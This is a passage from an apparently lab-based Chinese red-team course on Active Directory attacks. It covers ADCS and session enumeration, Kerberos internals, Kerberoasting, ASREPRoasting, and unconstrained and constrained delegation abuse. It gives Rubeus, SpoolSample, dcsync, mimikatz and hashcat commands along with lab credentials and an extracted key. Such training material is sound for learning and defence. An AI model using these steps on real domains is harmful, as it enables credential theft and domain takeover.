Convert-sidtoName <SID>
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/YREoihCQoC16zB1m-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/YREoihCQoC16zB1m-image.png)

### **枚举允许客户认证的模板**

我们可以寻找允许客户认证的模板，即申请了证书之后可以用于提供身份认证，就像有了凭证一样。不仅可以用于模仿其他用户，还可以实现持久化。

```powershell
certify.exe find /clientauth /ca: [ca] 
```

有多个证书模板允许客户认证，但列举的依旧并不完整。

```
beacon> execute-assembly certify.exe find /clientauth /domain:med-factory.local
[*] Tasked beacon to run .NET program: certify.exe find /clientauth /domain:med-factory.local
[+] host called home, sent: 279167 bytes
[+] received output:

   _____          _   _  __              
  / ____|        | | (_)/ _|             
 | |     ___ _ __| |_ _| |_ _   _        
 | |    / _ \ '__| __| |  _| | | |      
 | |___|  __/ |  | |_| | | | |_| |       
  \_____\___|_|   \__|_|_|  \__, |   
                             __/ |       
                            |___./        
  v1.0.0                               

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=med-factory,DC=local'

[*] Listing info about the Enterprise CA 'med-factory-CERT01-CA'

    Enterprise CA Name            : med-factory-CERT01-CA
    DNS Hostname                  : cert01.med-factory.local
    FullName                      : cert01.med-factory.local\med-factory-CERT01-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=med-factory-CERT01-CA, DC=med-factory, DC=local
    Cert Thumbprint               : E68CB2ADB9E53C169D1D6740D3F96E064AD62B0E
    Cert Serial                   : 41D46C07284C818C44EDFA659A7148BD
    Cert Start Date               : 1/20/2023 8:45:25 PM
    Cert End Date                 : 1/20/2028 8:55:25 PM
    Cert Chain                    : CN=med-factory-CERT01-CA,DC=med-factory,DC=local
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Allow  Enroll                                     NT AUTHORITY\Authenticated UsersS-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
      Allow  ManageCA, ManageCertificates               <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
    Enrollment Agent Restrictions : None
Enabled certificate templates capable of client authentication:

............

    CA Name                               : cert01.med-factory.local\med-factory-CERT01-CA
    Template Name                         : DomainControllerAuthentication
    Schema Version                        : 2
    Validity Period                       : 1 year
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : SUBJECT_ALT_REQUIRE_DNS
    mspki-enrollment-flag                 : AUTO_ENROLLMENT
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Client Authentication, Server Authentication, Smart Card Logon
    mspki-certificate-application-policy  : Client Authentication, Server Authentication, Smart Card Logon
    Permissions
      Enrollment Permissions
        Enrollment Rights           : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-498
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-516
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
                                      NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9
        AutoEnrollment Rights       : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-498
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-516
                                      NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9
      Object Control Permissions
        Owner                       : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
        WriteOwner Principals       : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
        WriteDacl Principals        : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
        WriteProperty Principals    : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519

    CA Name                               : cert01.med-factory.local\med-factory-CERT01-CA
    Template Name                         : KerberosAuthentication
    Schema Version                        : 2
    Validity Period                       : 1 year
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : SUBJECT_ALT_REQUIRE_DOMAIN_DNS, SUBJECT_ALT_REQUIRE_DNS
    mspki-enrollment-flag                 : AUTO_ENROLLMENT
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Client Authentication, KDC Authentication, Server Authentication, Smart Card Logon
    mspki-certificate-application-policy  : Client Authentication, KDC Authentication, Server Authentication, Smart Card Logon
    Permissions
      Enrollment Permissions
        Enrollment Rights           : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-498
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-516
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
                                      NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9
        AutoEnrollment Rights       : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-498
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-516
                                      NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9
      Object Control Permissions
        Owner                       : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
        WriteOwner Principals       : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
        WriteDacl Principals        : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
        WriteProperty Principals    : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519



Certify completed in 00:00:00.8096505

```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/8rpfNrcCrFyVmNVI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/8rpfNrcCrFyVmNVI-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/2UGEqGjPJgHf6bgG-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/2UGEqGjPJgHf6bgG-image.png)

###  

### **枚举ADCS网页终端**

对于开放了网页证书签发终端的 CA 服务器来说，其访问地址为 **http(s)://&lt;CA&gt;/certsrv**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/buzTH9ZmupDJqYER-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/buzTH9ZmupDJqYER-image.png)

# 用户会话与令牌

当我们在一台 Windows 域主机上获得了 **SYSTEM** 权限，我们可以模仿任何在本机登陆的域用户。如果模仿的对象在域内具有其他特权，我们可以利用此来移动到其他主机甚至域。

在 Windows 本机，我们可以有这些方式来查询

#### **进程的拥有者**

我们可以使用程序 **tasklist.exe** 来查询进程的拥有者：

```powershell
tasklist.exe /v
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/ZKN3JbpCHJQJm7cr-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/ZKN3JbpCHJQJm7cr-image.png)

或者 PowerShell 命令 **Get-Process -IncludeUserName**

```powershell
Get-Process -IncludeUserName
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/wd03LpDK5BlwUnBU-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/wd03LpDK5BlwUnBU-image.png)

可惜的是，就 **Web02** 上，并没有发现其他用户的进程，但在别的主机上，也许我们会有意外收获。我们不妨以 sql\_service 用户运行 cmd 程序，然后我们发现了其会话。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/u1Lx9p2mJTsyncqk-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/u1Lx9p2mJTsyncqk-image.png)

#### **会话查询**

我们可以通过命令 **query session** 来查询当前主机的会话，会话来源有交互式登陆、RDP登陆、服务执行。

```
query session
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/Q5gjMEX3MqUNFoYz-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/Q5gjMEX3MqUNFoYz-image.png)

我们依旧没有看到其他用户的会话。虽然我们以 sql\_service 身份运行了 cmd 程序，但并不属于三种来源之一。

#### **SharpToken**

我们可以使用工具 SharpToken ([https://github.com/BeichenDream/SharpToken](https://github.com/BeichenDream/SharpToken)) 来枚举当前主机所有可用的令牌，需要在 SYSTEM 权限下使用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/B9BvNYnFQQQj8On3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/B9BvNYnFQQQj8On3-image.png)

我们之前 runas 的 sql\_service 用户的令牌也能有显示

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/KouAxOBUYJQTdIuC-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/KouAxOBUYJQTdIuC-image.png)

### **BloodHound**

在 BloodHound 中，我们可以查看部分远程主机的 Sessions 信息，例如，我们从图中得知 file01 上有 John 的会话。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/opeiSU5maccbw42l-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/opeiSU5maccbw42l-image.png)

file01 确实当前是 john 登陆。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/CVnn6qEZrE4fLUFJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/CVnn6qEZrE4fLUFJ-image.png)

# 第7章课后作业

### **练习**

1：查找1-2 个其他近年关于 AD 的 CVE 漏洞，并测试本实验是否存在。

2：我们已经有了 2 个 Beacon 了，因此我们目前对 4 个域具有资源访问权限，请分别枚举这些域的用户、组、主机、OU、GPO、域信任等内容。

3：使用 PowerShell 版 SharpHound 搜集域信息，并尝试各种选项

4：使用 SQLRecon ([https://github.com/skahwah/SQLRecon](https://github.com/skahwah/SQLRecon)) 工具来枚举实验室中的 3 个 MSSQL 数据库实例。

5：使用 ldapsearch 枚举其他域信息，例如 OU 等

6：使用 rpcclient 枚举其他域信息

7：尝试 CrackMapExec/PsMapExec 工具并枚举域信息

8：使用 NTLM 哈希认证的方式运行 BloodHound-Python

9：还有哪些其他的 DACL？

# 面试专题

# 章节8：Active Directory 的利用



# Kerberos认证与利用

### **Kerberos**

  
深入了解 Kerberos 协议对于 AD 的利用十分重要。Kerberos 是 Active Directory 中一个非常有趣的话题，因为许多利用都是基于 Kerberos 的。自 Windows Server 2003 开始​​，Kerberos 充当着身份认证的主要角色。NTLM 认证采用了**质询响应**的机制，而 Kerberos 是基于票据系统的。

因此，在利用 Kerberos 之前，我们应该理解 Kerberos 认证的每一步。在 Kerberos 认证中，有这么几个角色我们需要知道：

**客户端**：登录其工作站的终端用户

**KDC**：域中的域控制器，由身份认证服务器 **AS**，和票据授予服务器 **TGS** 组成

**服务/资源服务器**：终端用户在认证后想要访问的服务或资源所在的服务器，如 **MSSQL 服务器实例**所在的服务器。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/LMM7AcgGKD9TA58W-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/LMM7AcgGKD9TA58W-image.png)

##### **步骤 1：AS-REQ**

当终端用户登录时，客户端向域控制器的认证服务器发送请求。请求中包含了使用**用户密钥加密的时间戳**。根据 Kerberos 所使用的加密类型，例如 **AES256\_HMAC\_SHA1**，密钥则由**用户名、密码、域名**生成 (如果是 **RC4**，那么密码的 NTLM 哈希就可以)。

##### **步骤 2：AS-REP**

当认证服务器 AS 收到了请求，查询该用户的存在，并用 AD 数据库中该用户的凭证所得到的的密钥来解密该时间戳。如果该时间戳有效，那么 AS 返回使用 **krbtgt 密钥加密后的 TGT** 和**用户密钥加密后的会话密钥 1** (客户端与认证服务器之间) 。因为会话密钥 1 是使用用户密钥加密的，用户可以自行解密并且重用。TGT 包含了诸多用户的相关信息，包括权限信息 (组归属)，时间戳、地址、会话密钥 1。

##### **步骤 3：TGS-REQ**

客户端使用自己的密钥解密得到**会话密钥 1**，并用会话密钥 1 加密时间戳。客户端向票据授予服务器 TGS 发起请求，指定要访问的服务的 **SPN**，并提交得到的 TGT。

##### **步骤 4：TGS-REP**

票据授予服务器 TGS 使用 krbtgt 的密钥解密 TGT，从而得到会话密钥 1，再用会话密钥 1解密请求中的其他信息，如**时间戳**。如果一切校验无误，TGS 返回使用**会话密钥 1 加密的会话密钥 2** (客户端与资源服务器之间的会话密钥) ，以及**服务票据**。服务票据包含了客户端主体名称、目标资源的 SPN，以及会话密钥 2 等信息，服务票据被资源账户的密钥加密

##### **步骤 5：AP-REQ**

客户使用会话密钥 1 来解密会话密钥 2，于是客户现在有了**服务票据**以及**会话密钥 2** 了。客户向资源服务器发起请求，请求中包含了**服务票据**、使用**会话密钥 2 加密的时间戳和客户端主体**。

##### **步骤 6：AP-REP**

资源服务器使用 SPN 对应的账户的密钥解密服务票据，得到会话密钥 2，进而解密得到时间戳和客户端主体。资源服务器还会检查客户端的权限，例如其所在分组，一切无误即授予访问。

#### **简化流程**

  
Kerberos 认证实际上很复杂，在很多情况下，我们也不需要记住每一步的每一个细节，我们可以稍微简化流程以帮助快速理解。假设在以下步骤中，没有任何异常发生，例如错误的凭证、网络的不稳定、权限不足。

##### **客户端认证**

第 1 步：客户端向 KDC (AS) 请求 TGT

第 2 步：KDC (AS) 将 TGT 返回给客户端。

##### **客户授权**

第 3 步：客户端向 KDC (TGS) 请求服务票据

第 4 步：KDC (TGS) 将服务票据返回给客户端

##### **访问请求**

第 5 步：客户端请求访问特定的资源

第 6 步：如果客户端具有权限 (例如属于特定分组)，则授予访问

### **Kerberoasting 攻击**

如果一个在服务以域用户的上下文在域主机机上运行，那么它是一个服务帐户，并且具有服务主体名称 SPN。 SPN 是服务实例的唯一标识符。 **krbtgt** 总是设置了 SPN，但它是不可利用的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/X17LA9O0uGO8XM17-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/X17LA9O0uGO8XM17-image.png)

根据前面提到的 Kerberos 身份认证流程，我们发现服务帐户的密钥用于加密服务票据。 因此，Kerberoasting 是一种通过为目标服务帐户请求服务票据从而提取 **krb5tgs** 哈希的技术。之后则可以对 krb5tgs 哈希进行离线破解，如果运气好的话则能还原出明文密码。

#### **基于 Windows 平台的枚举与利用**

##### **枚举**

```powershell
Get-NetUser -SPN | select samaccountname
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/dgbBiaOwfjt1MNjY-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/dgbBiaOwfjt1MNjY-image.png)

##### **利用**

```powershell
rubeus.exe kerberoast /format:hashcat /user:[服务帐户] /nowrap
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/L6ttpsfo6cmzwAfJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/L6ttpsfo6cmzwAfJ-image.png)

#### **基于 Linux 平台的枚举与利用**

##### **利用**

```shell
python3 GetUserSPNs.py -request -request-user [target user] -dc-ip [dc ip] [domain fqdn/user:password]
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/3Gy8iB5aiIcTwI0N-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/3Gy8iB5aiIcTwI0N-image.png)

#####   


##### **破解哈希**

```shell
hashcat -a 0 -m 13100 krb5tgs.txt rockyou.txt
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/WsxwdOlGpnMM83sU-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/WsxwdOlGpnMM83sU-image.png)

我们得到 PROD 域中，sql\_service 账户的密码为 **beautiful1**。

### **ASREPRoasting 攻击**

如果域用户不需要 Kerberos 预身份验证，我们可以为用户请求 AS-REP 并从部分回复中检索 krb5asrep 哈希。 希望我们可以破解哈希并获得明文密码。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/XfTiIZaTl8u41mxV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/XfTiIZaTl8u41mxV-image.png)

#### **基于 Windows 平台的枚举与利用**

##### **枚举**

```powershell
Get-NetUser -PreAuthNotRequired | select samaccountname
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/w14DyEHDRU7k9Ew8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/w14DyEHDRU7k9Ew8-image.png)

我们发现，raven-med 域中的用户 jason 禁用了预认证。

##### **利用**

```powershell
rubeus.exe asreproast /format:hashcat /user:[目标用户] /nowrap
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/NkrV24My1dO7kfqC-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/NkrV24My1dO7kfqC-image.png)

#### **基于 Linux 平台的枚举与利用**

##### **利用**

```shell
python3 getNPUsers.py -dc-ip [dc ip] [domain fqdn]/ -usersfile [user list] -format hashcat 
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/MSvsLQK1n4NqS5l7-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/MSvsLQK1n4NqS5l7-image.png)

##### **破解哈希**

```shell
hashcat -a 0 -m 18200 krb5asrep.txt rockyou.txt
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/wkjto2rP4J0zy6T7-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/wkjto2rP4J0zy6T7-image.png)

我们成功地还原出了用户 jason 的密码，为 **1q2w3e4r**。

# Kerberos委派的利用

这一小节，我们讨论 Kerberos 委派。委派解决了双跳问题，但是，攻击者也可以利用委派来获得代码执行以及横向移动到其他主机上。

出于教学目的，本小节将采取白盒的形式，即暂时跳过至委派利用之前的前置利用步骤，提供明文凭证

```html
【非约束委派】
raven-med域中的mon01主机(admin:Passw0rdmon01)

【约束委派】
white-bird域中的 web02 主机，指定了 dc05 的eventlog和cifs服务，Administrator不可被委派。(Administrator:Passw0rdweb02)
(CVE-2020-17049)med-deal域中的srv02主机，指定了 dc04 的eventlog服务，Administrator不可被委派。(Administrator:Passw0rdsrv02)

【基于资源的约束委派】
file01 对 dc01 具有 GenericAll 特权(Administrator:Passw0rdfile01)

【练习】
med-factory.local中的服务帐号deleg_exec (密码Passw0rddeleg) 被配置了对 dc03 的eventsystem服务的委派。
```

###   


### **非约束委派**

Kerberos 委派允许用户或服务代表另一位用户访问另一个服务。一个典型的场景是，用户向 IIS 服务器进行身份验证，然后 IIS 服务器代表用户向 MSSQL 服务器进行身份验证。

非约束委派可以分配给计算机或用户，但主要是计算机。配置可以在域控制器上完成。从系统管理员的角度来看，我们可以在**委派**选项卡上选择**信任此计算机代表任何服务 (仅限 Kerberos)**选项，为域计算机配置非约束委派。

<figure class="graf graf--figure" id="bkmrk-">[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/4AYRTxI9rGUdYy9f-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/4AYRTxI9rGUdYy9f-image.png)

</figure>我们提到了委派解决了双跳问题，那么非约束委派是如何解决这个问题的呢？如果一台计算机被配置了非约束委派，当用户访问 IIS (前端服务) 服务器时，KDC 也将用户的 TGT 包含在 TGS 票据中。然后，IIS 服务器提取用户的 TGT 并将其缓存在内存中。之后，IIS 服务器使用用户的 TGT 代表用户访问 MSSQL (后端服务) 服务器。但问题在于，由于用户的 TGT 被缓存在 IIS 服务器的内存中，IIS 服务器可以使用用户的 TGT 代表用户访问任何其他服务，这意味着 IIS 服务器可以模仿用户。如果 IIS 服务器受到攻击，攻击者可以从内存中提取所有 TGT 并模仿这些用户。更糟糕的是，如果缓存了高权限用户的 TGT，例如域管理员的 TGT，攻击者可以接管整个域和森林。

我们来详细解释一下这些步骤。

<figure class="graf graf--figure" id="bkmrk-%28ref%3A%C2%A0https%3A%2F%2Fwww.pe">[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/ccY2R2puNPgtVDgD-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/ccY2R2puNPgtVDgD-image.png)

  
<figcaption class="imageCaption">**步骤 1**

用户 -&gt; DC：用户请求一个 TGT。

**步骤 2**

DC -&gt; 用户：用户获得 TGT。

**步骤 3**

用户 -&gt; DC：用户请求一个 TGS 票据。

**步骤 4**

DC -&gt; 用户：用户获得 TGS 票据。

**步骤 5**

用户 -&gt; IIS 服务器：用户将 TGT 和 TGS 票据都发送给 IIS 服务器。

**步骤 6**

IIS 服务器 -&gt; DC：IIS 服务器使用用户的 TGT 向 DC 请求一个 TGS 票据，以访问 MSSQL 服务器。

**步骤 7**

IIS 服务器 -&gt; MSSQL 服务器：IIS 服务器代表用户访问 MSSQL 服务器。

</figcaption></figure>#### **枚举**

```powershell
Get-NetComputer -Unconstrained | select dnshostname
```

<figure class="graf graf--figure" id="bkmrk--1">[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/qPcDqRspN5CzdF4o-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/qPcDqRspN5CzdF4o-image.png)

</figure>域控制器总是被配置了非约束委派，但这对我们没有帮助，能拿下域控制器，我们也不需要借助非约束委派来提权了。

#### **利用**

1：在配置了非约束委派的主机上拿到最高权限。我们已经提供了明文凭证。

2：使用 Rubeus 在当前主机上开启监听模式，每间隔 5 秒钟刷新新的票据

```powershell
rubeus.exe monitor /interval:5 /nowrap
```

<figure class="graf graf--figure" id="bkmrk--2">[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/MpthFrjhXjldgeMz-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/MpthFrjhXjldgeMz-image.png)

</figure>3：等待高权限用户访问 Mon01 上的服务，例如 SMB 共享目录，但这样太偶然了。我们可以使用 **spoolsample** 这类强制认证的工具，通过 **MS-RPRN RPC** 接口强制另一台主机对该主机认证。

```powershell
spoolsample.exe dc02 mon01
```

<figure class="graf graf--figure" id="bkmrk--3">[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/OFNmXkGz4RnUMiZH-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/OFNmXkGz4RnUMiZH-image.png)

</figure>我们可以在任何 Windows 域内主机上执行该命令。

4：复制 **dc02$** 的TGT，使用 Rubeus 来传递票据至内存中

```powershell
rubeus.exe ptt /ticket:<...>
```

<figure class="graf graf--figure" id="bkmrk--4">[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/eMYPSUcDBzJezopD-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/eMYPSUcDBzJezopD-image.png)

</figure>5：使用 dcsync 导出任意用户的凭证

```
dcsync <域的fqdn> <域\用户>
```

<figure class="graf graf--figure" id="bkmrk--5">[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/w82OsTEMHgNlfoU8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/w82OsTEMHgNlfoU8-image.png)

</figure>6：但如果直接访问 dc02 的 C$，会发现访问被拒绝，因为我们导入的是 dc02$ 的 TGT，即主机帐号的票据。主机帐号对自身没有本地管理员权限，但在后文我们可以实现。

<figure class="graf graf--figure" id="bkmrk--6">[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/YWN64vvOjHYrPR6l-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/YWN64vvOjHYrPR6l-image.png)

</figure>非约束委派十分强大，在森林里，如果我们攻下一台配置了非约束委派的主机，我们可以轻易接管整个森林。在特定情况下，我们甚至能将访问延伸到其他森林。

###   


### **约束委派**

受限委派比非约束委派更安全，因为服务器不再缓存用户的 TGT 票据。相反，服务器可以使用自己的 TGT 为用户请求一个 TGS，并且服务器只能代表用户访问指定的服务器和服务。以 **Web02** 为例，IIS 服务器只能代表用户访问 dc05 主机上的 **CIFS** 和 **eventlog** 服务。

从系统管理员的角度来看，可以像这样配置约束委派：选择**信任此计算机仅委派给指定的服务**选项。 它有 2 个子选项，分别是**使用任何身份验证协议** (即**支持协议转换**)，以及**仅使用 Kerberos** (即**不支持协议转换**)。我们先研究前者，稍后会讨论，如果选择了**仅使用 Kerberos**，会有什么不同，以及如何利用。 此外，除了主机，**服务帐户**也可以被配置约束委派。

<figure class="graf graf--figure" id="bkmrk--8">[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/eSLeHOs8EGdyw7OV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/eSLeHOs8EGdyw7OV-image.png)

我们能看到一些区别，即 Srv02 的非约束委派选择的是**仅使用 Kerberos**

</figure>[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/FIUwP2Xcrb3OF2T3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/FIUwP2Xcrb3OF2T3-image.png)

我们能看到，Web02 可以代表用户访问 Dc05 的 cifs 和 eventlog 服务，cifs 固然很棒，但 **eventlog** 看起来却并不令人兴奋，不过不用担心。虽然服务是指定的，但我们可以使用 **altservice** 技巧来绕过，因为服务名称不会被 **S4U** 验证，而且它在票据中也没有加密。

我们来详细了解一下受限委派的整个过程。

<figure class="graf graf--figure" id="bkmrk-%28ref%3A%C2%A0https%3A%2F%2Fwww.pe-0">[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/yyqdKsl0HuCLVHKr-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/yyqdKsl0HuCLVHKr-image.png)

<figcaption class="imageCaption">  
</figcaption></figure>**步骤 1**

用户 -&gt; IIS 服务器：用户通过 **NTLMv2** 认证与 IIS 服务器进行身份验证

**步骤 2**

IIS 服务器 -&gt; DC：IIS 服务器利用 **S4U2Self** 为用户请求访问自身 (IIS 服务器) 的 TGS 票据。

**步骤 3**

DC -&gt; IIS 服务器：KDC 将**可转发的 TGS** 返回给 IIS 服务器。

**步骤 4**

IIS 服务器 -&gt; DC：IIS 服务器利用 **S4U2Proxy** 为用户请求**访问 SQL 服务器的 TGS**。

**步骤 5**

DC -&gt; IIS 服务器：KDC 将**可转发的 TGS** 返回给 IIS 服务器。

**步骤 6**

IIS 服务器 -&gt; SQL 服务器：IIS 服务器使用**可转发的 TGS** 代表用户访问 SQL 服务。

因为认证不是采用的 Kerberos，那么前端服务没有用户的 TGS，自然也无法进行后续的 S4U2Proxy。而前端服务可以进行**协议转换**，使用 S4U2Self 让该服务为该认证的用户获得一张访问自身的 TGS。前端服务将自身的 TGT，以及会话密钥加密的时间戳一起交给 KDC，指定了给哪个用户授予票据，接着 KDC 返回 TGS 给前端服务。这样的话，就可以进行 S4U2Proxy 了，通过将前端服务的 TGT，以及用户的TGS (可以是通过 S4U2Self 获得的，也可以是用户通过 Kerberos 认证传递的)，从而替用户申请访问后端服务的 TGS。

如果模仿的用户被设置了**不可被委派**，或者是**受保护的成员**，那么通过 S4U2Self 获得的 TGS 是**不可转发**的，自然也无法用于 S4U2Proxy 了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/3U69igVQX38b3Ts8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/3U69igVQX38b3Ts8-image.png)

(图片来自 [https://www.netspi.com/blog/technical/network-penetration-testing/cve-2020-17049-kerberos-bronze-bit-theory/](https://www.netspi.com/blog/technical/network-penetration-testing/cve-2020-17049-kerberos-bronze-bit-theory/))

#### **枚举**

```powershell
Get-NetComputer -TrustedToAuth
```

<figure class="graf graf--figure" id="bkmrk--11">[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/p7z6Mr29u1jPtJz4-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/p7z6Mr29u1jPtJz4-image.png)

</figure>```powershell
Get-NetUser -TrustedToAuth
```

<figure class="graf graf--figure" id="bkmrk--12">[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/UZuPaCr8Wx31fS0k-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/UZuPaCr8Wx31fS0k-image.png)

我们的 Lab 里，目前还没有配置了约束委派的服务账户。

</figure>#### **利用**

1：攻下被配置了约束委派的服务账户或者主机。如果是主机，那么我们可能需要 **SYSTEM** 权限。

2：为目标机器或服务帐户请求 TGT。

**情形 1**：我们已经拥有本地管理员权限，或者我们知道目标用户或主机的凭证。

```powershell
rubeus.exe asktgt /user:srv-1$ /aes256:[…] /nowrap
```

在拿到 **SYSTEM** 权限后，可以通过 mimikatz 模块提取 **Web02$** 的密钥

```
mimikatz sekurlsa::ekeys
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/th1SGO44Hfmbc3Yr-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/th1SGO44Hfmbc3Yr-image.png)

当前，Web02$ 的 AES256 密钥为 **41a46863d482499ba9dc0404b51871e68dd74e71852167deb19f140471c39efa**。我们可以通过密钥来申请 TGT，或者从内存中导出 TGT。

